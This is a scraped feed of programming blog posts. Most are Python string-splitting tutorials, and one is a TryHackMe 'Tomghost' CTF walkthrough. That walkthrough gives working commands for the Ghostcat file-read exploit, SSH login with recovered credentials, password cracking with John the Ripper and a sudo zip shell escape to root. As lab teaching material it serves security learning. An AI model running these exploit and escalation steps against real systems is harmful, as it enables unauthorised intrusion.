Posted on Leave a comment

Python | Split String and Remove newline

Rate this post

Summary: The simplest way to split a string and remove the newline characters is to use a list comprehension with a if condition that eliminates the newline strings.

Minimal Example

text = '\n-hello\n-Finxter'
words = text.split('-') # Method 1
res = [x.strip('\n') for x in words if x!='\n']
print(res) # Method 2
li = list(map(str.strip, words))
res = list(filter(bool, li))
print(res) # Method 3
import re
words = re.findall('([^-\s]+)', text)
print(words) # ['hello', 'Finxter']

Problem Formulation

Problem: Say you use the split function to split a string on all occurrences of a certain pattern. If the pattern appears at the beginning, in between, or at the end of the string along with a newline character, the resulting split list will contain newline strings along with the required substrings. How to get rid of the newline character strings automatically?

Example

text = '\n\tabc\n\txyz\n\tlmn\n'
words = text.split('\t') # ['\n', 'abc\n', 'xyz\n', 'lmn\n']

Note the empty strings in the resulting list.

Expected Output:

['abc', 'xyz', 'lmn']

Method 1: Use a List Comprehension

The trivial solution to this problem is to remove all newline strings from the resulting list using list comprehension with a condition such as [x.strip('\n') for x in words if x!='\n'] to filter out the newline strings. To be specific, the strip function in the expression allows you to get rid of the newline characters from the items, while the if condition allows you to eliminate any independently occurring newline character.

Code:

text = '\n\tabc\n\txyz\n\tlmn\n'
words = text.split('\t')
res = [x.strip('\n') for x in words if x!='\n']
print(res) # ['abc', 'xyz', 'lmn']

Method 2: Use a map and filter

Prerequisite

  • The map() function transforms one or more iterables into a new one by applying a “transformator function” to the i-th elements of each iterable. The arguments are the transformator function object and one or more iterables. If you pass n iterables as arguments, the transformator function must be an n-ary function taking n input arguments. The return value is an iterable map object of transformed, and possibly aggregated, elements.
  • Python’s built-in filter() function is used to filter out elements that pass a filtering condition. It takes two arguments: function and iterable. The function assigns a Boolean value to each element in the iterable to check whether the element will pass the filter or not. It returns an iterator with the elements that pass the filtering condition.

🌎Related Read:
(i) Python map()

(ii) Python filter()

Approach: An alternative solution is to remove all newline strings from the resulting list using map() to first get rid of the newline characters attached to each item of the returned list and then using the filter() function such as filter(bool, words) to filter out any empty string '' and other elements that evaluate to False such as None.

text = '\n\tabc\n\txyz\n\tlmn\n'
words = text.split('\t')
li = list(map(str.strip, words))
res = list(filter(bool, li))
print(res) # ['abc', 'xyz', 'lmn']

Method 3: Use re.findall() Instead

A simple and Pythonic solution is to use re.findall(pattern, string) with the inverse pattern used for splitting the list. If pattern A is used as a split pattern, everything that does not match pattern A can be used in the re.findall() function to essentially retrieve the split list.

Here’s the example that uses a negative character class [^\s]+ to find all characters that do not match the split pattern:

import re text = '\n\tabc\n\txyz\n\tlmn\n'
words = re.findall('([^\s]+)', text)
print(words) # ['abc', 'xyz', 'lmn']

Note:

The re.findall(pattern, string) method scans string from left to right, searching for all non-overlapping matches of the pattern. It returns a list of strings in the matching order when scanning the string from left to right.

🌎Related Read: Python re.findall() – Everything You Need to Know

Exercise: Split String and Remove Empty Strings

Problem: Say you have been given a string that has been split by the split method on all occurrences of a given pattern. The pattern appears at the end and beginning of the string. How to get rid of the empty strings automatically?

s = '_hello_world_'
words = s.split('_')
print(words) # ['', 'hello', 'world', '']

Note the empty strings in the resulting list.

Expected Output:

['hello', 'world']

💡 Hint: Python Regex Split Without Empty String

Solution:

import re s = '_hello_world_'
words = s.split('_') # Method 1: Using List Comprehension
print([x for x in words if x!='']) # Method 2: Using filter
print(list(filter(bool, words))) # Method 3: Using re.findall
print(re.findall('([^_\s]+)', s))

Conclusion

Thus, we come to the end of this tutorial. We have learned how to eliminate newline characters and empty strings from a list in Python in this article. I hope it helped you and answered all your queries. Please subscribe and stay tuned for more interesting reads.


Posted on Leave a comment

Tomghost “Try Hack Me” Walkthrough (Hacked)

5/5 – (1 vote)

In this CTF (Capture the Flag) challenge walkthrough, we will be hacking into an Apache Tomcat server using an exploit created by a Chinese developer.

This exploit is available as a standalone Python file and as a Metasploit module.

YouTube Video

In the walkthrough video, I’ll demonstrate both methods of gaining an initial foothold into the box. We will use a trusty hash cracking tool, John the ripper to decrypt a password from two files found on the target machine.

Logging in as the second user, we can leverage our permissions to run the zip bin as root in order to retrieve the root flag.

Please note that this box contains a username with foul language. If you are easily offended by bad words, please don’t continue reading this walkthrough. 

ENUMERATION

First, let’s export our IPs and enumerate with nmap.

export myIP=10.6.2.23
export targetIP=10.10.225.99 sudo nmap -Pn -sC -p- -O $targetIP

Next we will look further into the port 8009 service ajp13 with some searching on Google. We quickly discover that it looks like a tomcat apache server that has a vulnerability that can be exploited with Ghostcat

INITIAL FOOTHOLD WITH GHOSTCAT

Using metasploit with the ghostcat module, we can retrieve the first user’s username and password. Also of interest is port 8080 running an HTTP-proxy. This is probably a webpage we can look at in a browser. 

The other method for retrieving the first username and password is to run the following command to use ajpShooter.py directly without metasploit:

python ajpShooter.py http://10.10.176.124:8080 8009 /WEB-INF/web.xml read
--- _	_ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261 <?xml version="1.0" encoding="UTF-8"?>
<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> </web-app>
****
**---**

SSH INTO THE TARGET MACHINE

Now that we have retrieved the user:password, we can go ahead an SSH into the box.

ssh skyfuck@10.10.176.124
Password: 8730281lkjlkjdqlksalks

During further enumeration, we discovered two files: tryhackme.asc, and credential.pgp. These files will probably help us uncover another hidden string. The .pgp file contains a hash that, when cracked, reveals a key to decrypt the .asc file.

First, we need to transfer both files to our attacker machine so that we can use john the ripper to decrypt the hash. We can use SCP (secure copy protocol to transfer the files).

The following commands allow us to uncover the hidden string, which turns out to be another username:password combination.

sudo scp skyfuck@10.10.91.141:/home/skyfuck/credential.pgp ~/THM/tomghost/credential.pgp sudo scp skyfuck@10.10.91.141:/home/skyfuck/tryhackme.asc ./tomghost/tryhackme.asc

DECRYPTING THE HIDDEN SECRET WITH JOHN THE RIPPER

On our attacker machine we can run john2hash to nicely convert the .asc file into a new file packed up for john the ripper, titled “hash”.

john2hash tryhackme.asc > hash

And finally, we can run john the ripper now to decrypt the credential.pgp file.

John – wordlist=/home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou/rockyou.txt hash

The rockyou.txt file is a leaked database of passwords that is often used in pentesting. Once we crack the hash, we will use the following commands to decrypt the credential.pgp file.

gpg – import tryhackme.asc
sudo gpg – decrypt credential.pgp

And we have it!

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j%

!!!
THM{GhostCat_1s_so_cr4sy}
!!!

EXPLOITING SUDO PERMISSIONS ON ZIP

First, we need to switch over the user Merlin with:

su merlin

We discover with a sudo -l search that we have sudo permissions to run the zip bin.

Over on GTFObins we find a privilege escalation vector using zip to maintain SUDO permissions and retrieve the root flag:

merlin@ubuntu:/usr/bin$ TF=$(mktemp -u)
merlin@ubuntu:/usr/bin$ sudo zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 31%)
# whoami
root
# cd /root
# ls
root.txt ufw
# cat root.txt
THM{Z1P_1S_FAKE}

Thanks for reading/watching my walkthrough.

Posted on Leave a comment

Python | Split Text into Sentences

Rate this post

✨Summary: There are four different ways to split a text into sentences:
🚀 Using nltk module
🚀 Using re.split()
🚀 Using re.findall()
🚀 Using replace

Minimal Example

text = "God is Great! I won a lottery." # Method 1
from nltk.tokenize import sent_tokenize
print(sent_tokenize(text)) # Method 2
import re
res = [x for x in re.split("[//.|//!|//?]", text) if x!=""]
print(res) # Method 3
res = re.findall(r"[^.!?]+", text)
print(res) # Method 4
def splitter(txt, delim): for i in txt: if i in delim: txt = txt.replace(i, ',') res = txt.split(',') res.pop() return res sep = ['.', '!']
print(splitter(text, sep)) # Output: ['God is Great', ' I won a lottery']

Problem Formulation

Problem: Given a string/text containing numerous sentences; How will you split the string into sentences?

Example: Let’s visualize the problem with the help of an example.

# Input
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
# output
['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

Method 1: Using nltk.tokenize

Natural Language Processing (NLP) has a process known as tokenization using which a large quantity of text can be divided into smaller parts called tokens. The Natural Language toolkit contains a very important module known as NLTK tokenize sentence which further comprises sub-modules. We can use this module and split a given text into sentences.

Code:

from nltk.tokenize import sent_tokenize
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
print(sent_tokenize(text)) # ['This is sentence 1.', ' This is sentence 2!', ' This is sentence 3?']

Explanation: 

  • Import the sent_tokenize module.
  • Further, the sentence_tokenizer module allows you to parse the given sentences and break them into individual sentences at the occurrence of punctuations like periods, exclamation,  question marks, etc.

Caution: You might get an error after installing the nltk package. So, here’s the entire process to install nltk in your system.

Install nltk using → pip install nltk

Then go ahead and type the following in your Python shell:

import nltk
nltk.download('punkt')

That’s it! You are now ready to use the sentence_tokenizer module in your code.

Method 2: Using re.split

The re.split(pattern, string) method matches all occurrences of the pattern in the string and divides the string along the matches resulting in a list of strings between the matches. For example, re.split('a', 'bbabbbab') results in the list of strings ['bb', 'bbb', 'b'].

Approach: Split the given string using alphanumeric separators, and use the either-or (|) metacharacter. It allows you to specify each separator within the expression like so: re.split("[//.|//!|//?]", text). Thus, whenever the script encounters any of the mentioned characters specified within the pattern, it will split the given string. The expression x!="" ignores all the empty characters.

Code:

import re
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
res = [x for x in re.split("[//.|//!|//?]", text) if x!=""]
print(res) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

🧩Recommended Read:  Python Regex Split

Method 3: Using findall

The re.findall(pattern, string) method scans the string from left to right, searching for all non-overlapping matches of the pattern. It returns a list of strings in the matching order when scanning the string from left to right.

Code:

import re
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
res = re.findall(r"[^.!?]+", text)
print(res) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

Explanation: In the expression, i.e., re.findall(r"[^.!?]+", text), all occurrences of characters are grouped except the punctuation marks. []+ denotes that all occurrences of one or more characters except (given by ^) ‘!’, ‘?’, and ‘.’ will be returned. Thus, whenever the script finds and groups all characters until any of the mentioned characters within the square brackets are found. As soon as one of the mentioned characters is found it splits the string and finds the next group of characters.

🧩Related Read: Python re.findall() – Everything You Need to Know

Method 4: Using replace

Approach: The idea here is to replace all the punctuation marks (‘!’, ‘?’, and ‘.’) present in the given string with a comma (,) and then split the modified string to get the list of split substrings. The problem here is the last element returned will be an empty string. You can use the pop() method to remove the last element out of the list of substrings (the empty string).

Code:

def splitter(txt, delim): for i in txt: if i in delim: txt = txt.replace(i, ',') res = txt.split(',') res.pop() return res sep = ['.', '!', '?']
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
print(splitter(text, sep)) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

🧩Related Read: Python String replace()

Conclusion

We have successfully solved the given problem using different approaches. I hope this article helped you in your Python coding journey. Please subscribe and stay tuned for more interesting articles.

Happy coding! 🐍


Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.

Posted on Leave a comment

Python | Split String with Regex

Rate this post

Summary: The different methods to split a string using regex are:

  • re.split()
  • re.sub()
  • re.findall()
  • re.compile()

Minimal Example

import re text = "Earth:Moon::Mars:Phobos" # Method 1
res = re.split("[:]+", text)
print(res) # Method 2
res = re.sub(r':', " ", text).split()
print(res) # Method 3
res = re.findall("[^:\s]+", text)
print(res) # Method 4
pattern = re.compile("[^:\s]+").findall
print(pattern(text)) # Output
['Earth', 'Moon', 'Mars', 'Phobos']

Problem Formulation

📜Problem: Given a string and a delimiter. How will you split the string using the given delimiter using different functions from the regular expressions library?

Example: In the following example, the given string has to be split using a hyphen as the delimiter.

# Input
text = "abc-lmn-xyz" # Expected Output
['abc', 'lmn', 'xyz']

Method 1: re.split

The re.split(pattern, string) method matches all occurrences of the pattern in the string and divides the string along the matches resulting in a list of strings between the matches. For example, re.split('a', 'bbabbbab') results in the list of strings ['bb', 'bbb', 'b'].

Approach: Use the re.split function and pass [_]+ as the pattern which splits the given string on occurrence of an underscore.

Code:

import re text = "abc_lmn_xyz"
res = re.split("[_]+", text)
print(res) # ['abc', 'lmn', 'xyz']

🚀Related Read: Python Regex Split

Method 2: re.sub

The regex function re.sub(P, R, S) replaces all occurrences of the pattern P with the replacement R in string S. It returns a new string. For example, if you call re.sub('a', 'b', 'aabb'), the result will be the new string 'bbbb' with all characters 'a' replaced by 'b'.

Approach: The idea here is to use the re.sub function to replace all occurrences of underscores with a space and then use the split function to split the string at spaces.

Code:

import re text = "abc_lmn_xyz"
res = re.sub(r'_', " ", text).split()
print(res) # ['abc', 'lmn', 'xyz']

🚀Related Read: Python Regex Sub

Method 3: re.findall

The re.findall(pattern, string) method scans string from left to right, searching for all non-overlapping matches of the pattern. It returns a list of strings in the matching order when scanning the string from left to right.

Approach: Find all occurrences of characters that are separated by underscores using the re.findall().

Code:

import re text = "abc_lmn_xyz"
res = re.findall("[^_\s]+", text)
print(res) # ['abc', 'lmn', 'xyz']

🚀Related Read: Python re.findall()

Method 4: re.compile

The method re.compile(pattern) returns a regular expression object from the pattern that provides basic regex methods such as pattern.search(string)pattern.match(string), and pattern.findall(string). The explicit two-step approach of (1) compiling and (2) searching the pattern is more efficient than calling, say, search(pattern, string) at once, if you match the same pattern multiple times because it avoids redundant compilations of the same pattern.

Code:

import re text = "abc_lmn_xyz"
pattern = re.compile("[^-\s]+").findall
print(pattern(text)) # ['abc', 'lmn', 'xyz']

Why use re.compile?

  • Efficiency: Using re.compile() to assemble regular expressions is effective when the expression has to be used more than once. Thus, by using the classes/objects created by compile function, we can search for instances that we need within different strings without having to rewirte the expressions again and again. This increases productivity as well as saves time.
  • Readability: Another advantage of using re.compile is the readability factor as it leverages you the power to decouple the specification of the regex.

🚀Read: Is It Worth Using Python’s re.compile()?

Exercise

Problem: Python regex split by spaces, commas, and periods, but not in cases like 1,000 or 1.50.

Given:
my_string = "one two 3.4 5,6 seven.eight nine,ten"
Expected Output:
["one", "two", "3.4", "25.6" , "seven", "eight", "nine", "ten"]

Solution

my_string = "one two 3.4 25.6 seven.eight nine,ten"
res = re.split('\s|(?<!\d)[,.](?!\d)', my_string)
print(res) # ['one', 'two', '3.4', '25.6', 'seven', 'eight', 'nine', 'ten']

Conclusion

Therefore, we have learned four different ways of splitting a string using the regular expressions package in Python. Feel free to use the suitable technique that fits your needs. The idea of this tutorial was to get you acquainted with the numerous ways of using regex to split a string and I hope it helped you.

Please stay tuned and subscribe for more interesting discussions and tutorials in the future. Happy coding! 🙂


Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.

Posted on Leave a comment

How to Split a Multi-line String into Multiple Lines?

Rate this post

Summary: Use given_string.splitlines() to split a given multiline string into multiple lines.

Minimal Example:

text = 'Python\nJava\nC#'
print(text.splitlines())
# Output: ['Python', 'Java', 'C#']

Problem Formulation

📜Problem: Given a string, How will you split the string into a list of words using newline as a separator/delimiter?

Example:

# Input
text = """abc
def
ghi """
# Expected Output
['abc', 'def', 'ghi']

Let’s dive into the different ways of solving the given problem.

Method 1: Using splitlines

Approach: The most convenient and easiest way to split a given multiline string into multiple strings is to use the splitlines() method, i.e., simply use – 'given_string'.splitlines().

NOTE: splitlines() is a built-in method in Python that splits a string at line breaks such as '\n' and returns a split list of substrings (i.e., lines). For example, 'finxter\nis\ncool'.splitlines() will return the following list: ['finxter', 'is', 'cool'].

Code:

# Input
text = """Python is an Object Oriented programming language.
COBOL is an Object Oriented programming language.
F# is an Object Oriented programming language.""" print(text.splitlines()) # Output: ['Python is an Object Oriented programming language.', 'COBOL is an Object Oriented programming language.', 'F# is an Object Oriented programming language.']

🌎Related Read: Python String splitlines()

Method 2: Using split()

Approach: Use 'given_string'.split('\n') to split the given multiline string at line breaks.

Code:

# Input
text = """Python is an Object Oriented programming language.
COBOL is an Object Oriented programming language.
F# is an Object Oriented programming language.""" print(text.split('\n')) # Output: ['Python is an Object Oriented programming language.', 'COBOL is an Object Oriented programming language.', 'F# is an Object Oriented programming language.']

Using “\n” ensures that whenever a new line occurs, the string is split.

🌎Related Read: Python String split()

Method 3: Using re.split in a List Comprehension

Another way to solve the given problem is to use the split method of the regex module. You can split the string at every line break by passing “\n” as the pattern within the re.split function. To ensure that there are no leading or trailing extra whitespaces in the resultant list you can use a list comprehension that stores the split strings only and eliminates whitespace characters. This can be done with the help of an if statement within the list comprehension as shown in the solution below.

Code:

import re text = """Python is an Object Oriented programming language.
COBOL is an Object Oriented programming language.
F# is an Object Oriented programming language.""" print([x for x in re.split("\n", text) if x!='']) # Output: ['Python is an Object Oriented programming language.', 'COBOL is an Object Oriented programming language.', 'F# is an Object Oriented programming language.']

NOTE: The re.split(pattern, string) method matches all occurrences of the pattern in the string and divides the string along the matches resulting in a list of strings between the matches. For example, re.split('a', 'bbabbbab') results in the list of strings ['bb', 'bbb', 'b'].

🌎Read more here – Python Regex Split

List Comprehension: “A list comprehension consists of brackets containing an expression followed by a for clause, then zero or more for or if clauses. The result will be a new list resulting from evaluating the expression in the context of the for and if clauses which follow it.”

🌎Read more here: List Comprehension in Python — A Helpful Illustrated Guide


Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.

Conclusion

We have successfully solved the given problem using three different approaches. I hope you this article answered all your queries. Please subscribe and stay tuned for more interesting articles!

Happy coding! 🙂

Related Reads:
⦿ Python | Split String by Newline
⦿ Python | Split String by Whitespace
⦿ Python | Split String into Characters


Python Regex Course

Google engineers are regular expression masters. The Google search engine is a massive text-processing engine that extracts value from trillions of webpages.  

Facebook engineers are regular expression masters. Social networks like Facebook, WhatsApp, and Instagram connect humans via text messages

Amazon engineers are regular expression masters. Ecommerce giants ship products based on textual product descriptions.  Regular expressions ​rule the game ​when text processing ​meets computer science. 

If you want to become a regular expression master too, check out the most comprehensive Python regex course on the planet:

Posted on Leave a comment

Python | Split String into List of Substrings

Rate this post

🍎Summary: Use Python’s built-in split function to split a given string into a list substrings. Other methods include using the regex library and the map function.

Minimal Example

text = "Python Java Golang" # Method 1
print(text.split()) # Method 2
import re
print(re.split('\s+',text)) # Method 2.1
print(re.findall('\S+', text)) # Method 3
li = list(map(str.strip, text.split()))
res = []
for i in li: for j in i.split(): res.append(j)
print(res) # OUTPUTS: ['Python', 'Java', 'Golang']

Problem Formulation

📜Problem: Given a string containing numerous substrings. How will you split the string into a list of substrings?

Let’s understand the problem with the help of an example.

Example

# Input
text = "word1 word2 word3 word4 word5" # Output
['word1', 'word2', 'word3', 'word4', 'word5']

Method 1: Using strip

Approach: Use the split("sep") function where sep is the specified separator. In our case the separator is a space. Hence, you do not need to pass any separator to the function as whitespaces are considered to be default separators for the split function. Therefore, whenever a space occurs the string will be split and the substring will be stored in a list.

Code:

text = "word1 word2 word3 word4 word5"
print(text.split()) # ['word1', 'word2', 'word3', 'word4', 'word5']

Method 2: Using re.split

The re.split(pattern, string) method matches all occurrences of the pattern in the string and divides the string along the matches resulting in a list of strings between the matches. For example, re.split('a', 'bbabbbab') results in the list of strings ['bb', 'bbb', 'b'].

Approach: Use thr re.split('\s+',text) method, where text is the given string and ‘\s+‘ returns a match whenever it finds a space in the string.Therefore, on every occurrence of a space the string will be split.

Code:

import re text = "word1 word2 word3 word4 word5"
print(re.split('\s+',text)) # ['word1', 'word2', 'word3', 'word4', 'word5']

🚀Related Read: Python Regex Split

Method 3: Using re.findall

The re.findall(pattern, string) method scans string from left to right, searching for all non-overlapping matches of the pattern. It returns a list of strings in the matching order when scanning the string from left to right.

🚀Related Read: Python re.findall() – Everything You Need to Know

Approach: Use thr re.findall('\S+',text) method, where text is the given string and ‘\S+‘ returns a match whenever it finds a normal character in the string except whitespace. Therefore, all the non-whitespace characters will be grouped together until the script encounters a space. On the occurrence of a space, the string will be split and the next group of characters that do not include a space will be searched.

Code:

import re text = "word1 word2 word3 word4 word5"
print(re.findall('\S+', text)) # ['word1', 'word2', 'word3', 'word4', 'word5']

Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.

Method 4: Using map

Prerequisite: The map() function transforms one or more iterables into a new one by applying a “transformator function” to the i-th elements of each iterable. The arguments are the transformator function object and one or more iterables. If you pass n iterables as arguments, the transformator function must be an n-ary function taking n input arguments. The return value is an iterable map object of transformed, and possibly aggregated, elements.

🚀Related Read: Python map() — Finally Mastering the Python Map Function [+Video]

Approach: Use the map function such that the iterable is the split list of substrings. This is the second argument of the map method. Now each item of this list will be passed to the strip method which eliminates the trailing spaces if any and then returns a map object containing the split substrings. You can convert this map object to a list using the list constructor.

Code:

text = "word1 word2 word3 word4 word5"
li = list(map(str.strip, text.split()))
res = []
for i in li: for j in i.split(): res.append(j)
print(res) # ['word1', 'word2', 'word3', 'word4', 'word5']

Exercise

Problem: Given a string containing numerous substrings separated by commas and spaces. How will you extract the substrings and store them in a list? Note that you have to eliminate the whitespaces as well as the commas.

# Input
text = "One, Two, Three"
# Output
['One', 'Two', 'Three']

🔎Hint: Python | Split String by Comma and Whitespace

Solution:

text = "One, Two, Three"
print([x.strip() for x in text.split(',')])
# ['One', 'Two', 'Three']

Conclusion

With that, we come to the end of this tutorial. I hope the methods discussed in this article have helped you and answered your queries. Please stay tuned and subscribe for more solutions and discussions in the future.

Happy learning!🐍


But before we move on, I’m excited to present you my new Python book Python One-Liners (Amazon Link).

If you like one-liners, you’ll LOVE the book. It’ll teach you everything there is to know about a single line of Python code. But it’s also an introduction to computer science, data science, machine learning, and algorithms. The universe in a single line of Python!

The book was released in 2020 with the world-class programming book publisher NoStarch Press (San Francisco).

Link: https://nostarch.com/pythononeliners

Posted on Leave a comment

A Comprehensive Guide to maxsplit in Python

Rate this post

Summary: maxsplit is one of the optional parameters used in the split() function. If maxsplit is specified within the split function, then the maximum number of splits done will be given by the specified maxsplit. Thus, the list will have at most maxsplit + 1 elements. If maxsplit is not specified or set to -1, then there is no limit on the number of splits (all the possible splits are made).

Minimal Example

cols = 'Red, Black, White, Yellow, Pink' # Maxsplit 0
print(cols.split(', ', 0))
# ['Red, Black, White, Yellow, Pink'] # Maxsplit 1
print(cols.split(', ', 1))
# ['Red', 'Black, White, Yellow, Pink'] # Maxsplit 3
print(cols.split(', ', 3))
# ['Red', 'Black', 'White', 'Yellow, Pink'] # Maxsplit 5
print(cols.split(', ', 5))
# ['Red', 'Black', 'White', 'Yellow', 'Pink']

In this comprehensive guide, you will learn everything you need to know about maxsplit in Python.

What is Maxsplit Anyways?

Before you understand what maxsplit does, it is important to understand what the split function does. The split() function in Python splits the string at a given separator and returns a split list of substrings.

Syntax and Explanation:
str.split(sep = None, maxsplit = -1)

🚀 maxsplit is an optional parameter that defines the maximum number of splits (the list will have at most maxsplit + 1 elements). If maxsplit is not provided or defined as -1, then there is no limit on the number of splits (all the possible splits get made).

🦅Related Read: Python String split()

How Many Elements will The List Contain when Maxsplit is Specified?

When the maxsplit is specified, the list will have a maximum of maxsplit + 1 items. Look at the following examples to understand this better.

text = 'Python Java C Ruby' # Example 1
print(text.split(' ', 0))
# ['Python Java C Ruby'] # Example 2
print(text.split(' ', 2))
# ['Python', 'Java', 'C Ruby'] # Example 3
print(text.split(' ', -1))
# ['Python', 'Java', 'C', 'Ruby']

Explanation: In the first example, the maxsplit gets set to 0. Hence the list will have a maximum of one item. In the second example, maxsplit is set to 2, therefore the resultant list will have 2+1 = 3 items. Note that in the third example, maxsplit gets specified as -1; hence by default all the possible splits have been made.

Will the split() Function Work if You Don’t Specify Any Parameter?

Example:

txt = 'Welcome to the world of Python'
print(txt.split())
# ['Welcome', 'to', 'the', 'world', 'of', 'Python']

The split() function works perfectly fine even when no arguments are specified. In the above example, no separator and no maxsplit has been specified. It takes the default separator (space) to split the string. By default, the maxsplit value is -1. So the string gets split wherever a space is found. Meaning the maximum number of splits will be performed.

Split a List up to a Maximum Number of Elements

Problem:  Given a list; How will you split the list up to a maximum number of elements?

Example: Let’s visualize the problem with a real problem asked in StackOverflow.

source: https://stackoverflow.com/questions/58952417/split-a-list-up-to-a-maximum-number-of-elements

Discussion: The question essentially requires you to split the first and the second item/row into 7 columns such that the expected output resembles the following: [['6697', '1100.0', '90.0', '0.0', '0.0', '6609', '!'], ['701', '0.0', '0.0', '83.9', '1.5', '000', '!AFR-AHS IndHS-AFR']]

Solution:

rot = ['6697 1100.0 90.0 0.0 0.0 6609 !', '701 0.0 0.0 83.9 1.5 000 !AFR-AHS IndHS-AFR'] for i in range(len(rot)): rot[i] = rot[i].split(maxsplit=6) print(rot) # [['6697', '1100.0', '90.0', '0.0', '0.0', '6609', '!'], ['701', '0.0', '0.0', '83.9', '1.5', '000', '!AFR-AHS IndHS-AFR']]

Explanation: Use the split() method and specify the maxsplit argument as the maximum number of elements in the list that you want to group. In this case, you need seven splits. Hence, the maxsplit can be set to 6 to achieve the final output.

Exercise

Given:
text = “abc_kjh_olp_xyz”
Challenge: Split the given string only at the first occurrence of the underscore “_”
Expected Output:
[‘abc’, ‘kjh_olp_xyz’]

Solution

text = "abc_kjh_olp_xyz"
print(text.split("_", maxsplit=1))

🦅Related Read: Python Split String at First Occurrence

Conclusion

That was all about the maxsplit parameter from the split() function in Python. I hope this article helped you to gain an in-depth insight into the maxsplit parameter. Please subscribe and stay tuned for more interesting articles! Happy coding.


Python One-Liners Book: Master the Single Line First!

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover (1) tips and tricks, (2) regular expressions, (3) machine learning, (4) core data science topics, and (5) useful algorithms.

Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments.

You’ll also learn how to:

  • Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
  • Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
  • Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  • Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
  • Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners on Amazon!!

Posted on Leave a comment

Python Find in List [Ultimate Guide]

5/5 – (1 vote)

When Google was founded in 1998, Wallstreet investors laughed at their bold vision of finding data efficiently in the web. Very few people actually believed that finding things can be at the heart of a sustainable business — let alone be a long-term challenge worth pursuing.

We have learned that searching — and finding — things is crucial wherever data volumes exceed processing capabilities. Every computer scientist knows about the importance of search.

And even non-coders don’t laugh about Google’s mission anymore!

⭐⭐⭐ This article will be the web’s most comprehensive guide on FINDING stuff in a Python list. ⭐⭐⭐

It’s a living document where I’ll update new topics as I go along — so stay tuned while this article grows to be the biggest resource on this topic on the whole web!

Let’s get started with the very basics of finding stuff in a Python list:

Finding an Element in a List Using the Membership Operator

You can use the membership keyword operator in to check if an element is present in a given list. For example, x in mylist returns True if element x is present in my_list using the equality == operator to compare all list elements against the element x to be found.

Here’s a minimal example:

my_list = ['Alice', 'Bob', 'Sergey', 'Larry', 'Eric', 'Sundar'] if 'Eric' in my_list: print('Eric is in the list')

The output is:

Eric is in the list

Here’s a graphical depiction of how the membership operator works on a list of numbers:

Figure 1: Check the membership of item 42 in the list of integers.

To dive deeper into this topic, I’d love to see you watch my explainer video on the membership operators here: 👇

YouTube Video

Posted on Leave a comment

jsPDF HTML Example with html2canvas for Multiple Pages PDF

by Vincy. Last modified on December 9th, 2022.

The jsPDF with html2canvas library is one of the best choices which gives the best output PDF from HTML.

You need to understand the dependent libraries to get better out of it. Effort-wise it is easier to create a PDF from HTML.

Before getting into the theory part, I want to give the solution directly to save your time :-). Then, I will highlight the area to strengthen the basics of jsPDF and html2canvas.

Quick solution

window.jsPDF = window.jspdf.jsPDF;
